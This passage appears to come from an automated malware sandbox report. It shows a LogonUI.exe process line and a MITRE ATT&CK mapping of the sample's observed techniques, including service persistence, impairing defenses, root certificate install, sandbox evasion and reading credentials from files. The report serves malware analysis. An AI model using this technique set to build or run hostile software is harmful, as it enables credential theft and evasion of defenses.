"LogonUI.exe" /flags:0x4 /state0:0xa38ed055 /state1:0x41c64e6d
1⤵
PID:1620

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

Scripting

T1064

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

Impair Defenses

T1562

Modify Registry

T1112

Scripting

T1064

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Virtualization/Sandbox Evasion

T1497

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Peripheral Device Discovery

T1120

Query Registry

Remote System Discovery

T1018

System Information Discovery